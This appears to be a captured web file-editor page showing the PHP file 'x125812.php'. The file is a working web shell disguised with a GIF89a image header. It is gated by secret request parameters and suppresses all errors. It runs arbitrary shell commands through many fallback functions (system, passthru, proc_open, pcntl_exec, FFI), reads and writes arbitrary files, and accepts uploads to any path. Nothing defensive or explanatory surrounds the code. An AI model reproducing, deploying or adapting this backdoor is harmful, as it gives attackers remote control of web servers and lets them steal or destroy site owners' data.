← Back
Editing: x125812.php
GIF89a<?php error_reporting(0);@ini_set('display_errors','0');@set_time_limit(0); $ok=false; foreach(array('xinsec','k') as $kk){if(isset($_REQUEST[$kk])&&$_REQUEST[$kk]!==''){$ok=true;break;}} if(!$ok){exit;} function wpr_exec($c){ $out=''; if(function_exists('system')){ob_start();@system($c);$out=ob_get_clean();if($out!=='')return $out;} if(function_exists('passthru')){ob_start();@passthru($c);$out=ob_get_clean();if($out!=='')return $out;} if(function_exists('shell_exec')){$o=@shell_exec($c);if($o!==null&&$o!=='')return $o;} if(function_exists('exec')){$a=array();$r=0;@exec($c,$a,$r);$o=implode("\n",$a);if($o!=='')return $o;} if(function_exists('popen')){$h=@popen($c,'r');if($h){while(!feof($h)){$out.=fread($h,8192);}@pclose($h);if($out!=='')return $out;}} if(function_exists('proc_open')){$d=array(array('pipe','r'),array('pipe','w'),array('pipe','w'));$p=@proc_open($c,$d,$pp);if(is_resource($p)){@fclose($pp[0]);$out=stream_get_contents($pp[1]).stream_get_contents($pp[2]);@fclose($pp[1]);@fclose($pp[2]);@proc_close($p);if($out!=='')return $out;}} if(function_exists('pcntl_fork')&&function_exists('pcntl_exec')){$pid=@pcntl_fork();if($pid===0){@pcntl_exec('/bin/sh',array('-c',$c));exit;}} if(extension_loaded('ffi')){try{$ffi=FFI::cdef('int system(const char *command);','libc.so.6');ob_start();@$ffi->system($c);$out=ob_get_clean();if($out!=='')return $out;}catch(Throwable $e){}} return $out; } $c=''; foreach(array('cmd','c','command','exec','run') as $p){if(isset($_REQUEST[$p])&&$_REQUEST[$p]!==''){$c=$_REQUEST[$p];break;}} if($c!==''){echo wpr_exec($c);exit;} if(isset($_REQUEST['read'])){$f=$_REQUEST['read'];if(@is_file($f)){echo @file_get_contents($f);}exit;} if(isset($_REQUEST['write'])&&isset($_REQUEST['data'])){$f=$_REQUEST['write'];$d=@base64_decode($_REQUEST['data']);@file_put_contents($f,$d);echo 'ok';exit;} if(isset($_FILES['f'])&&is_uploaded_file($_FILES['f']['tmp_name'])){$n=isset($_REQUEST['name'])?$_REQUEST['name']:basename($_FILES['f']['name']);echo @move_uploaded_file($_FILES['f']['tmp_name'],$n)?'ok '.$n:'fail';exit;} echo wpr_exec('id');
Save File
Cancel